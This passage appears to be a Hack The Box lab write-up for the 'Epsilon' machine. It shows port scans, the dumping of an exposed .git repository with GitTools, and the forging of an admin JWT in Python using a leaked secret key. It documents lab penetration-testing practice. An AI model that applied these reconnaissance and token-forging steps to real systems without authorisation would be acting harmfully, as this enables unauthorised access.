┌──(mikannse㉿kali)-[~/HTB/Epsilon] └─$ sudo nmap --min-rate=10000 -p- 10.10.11.134 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 23:25 CST Nmap scan report for 10.10.11.134 Host is up (0.071s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds
┌──(mikannse㉿kali)-[~/HTB/Epsilon] └─$ sudo nmap -sT -sV -sC -O -p80 22,80,5000 10.10.11.134 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 23:27 CST Failed to resolve "22,80,5000". Nmap scan report for 10.10.11.134 Host is up (0.069s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: 403 Forbidden Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: 127.0.1.1
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.20 seconds ┌──(mikannse㉿kali)-[~/HTB/Epsilon] └─$ sudo nmap -sT -sV -sC -O -p22,80,5000 10.10.11.134 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 23:28 CST Nmap scan report for 10.10.11.134 Host is up (0.069s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) | http-git: | 10.10.11.134:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Updating Tracking API # Please enter the commit message for... |_http-title: 403 Forbidden 5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10) |_http-server-header: Werkzeug/2.0.2 Python/3.8.10 |_http-title: Costume Shop Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.07 seconds
Web
80端口有一个.git,用gittool中的gitdumper得到源码
┌──(mikannse㉿kali)-[~/tools/web/GitTools/Dumper] └─$ ./gitdumper.sh http://10.10.11.134/.git/ ~/HTB/Epsilon/repo ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ###########
[*] Destination folder does not exist [+] Creating /home/mikannse/HTB/Epsilon/repo/.git/ [+] Downloaded: HEAD [-] Downloaded: objects/info/packs <SNIP>
再用extractor来还原一下提交记录
┌──(mikannse㉿kali)-[~/tools/web/GitTools/Extractor] └─$ ./extractor.sh ~/HTB/Epsilon/repo ~/HTB/Epsilon/repo_ ########### # Extractor is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [*] Destination folder does not exist [*] Creating... <SNIP>
┌──(mikannse㉿kali)-[~/HTB/Epsilon] └─$ python Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import jwt >>> jwt.encode({"username":"admin"},key='RrXCv`mrNe!K!4+5`wYq',algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4'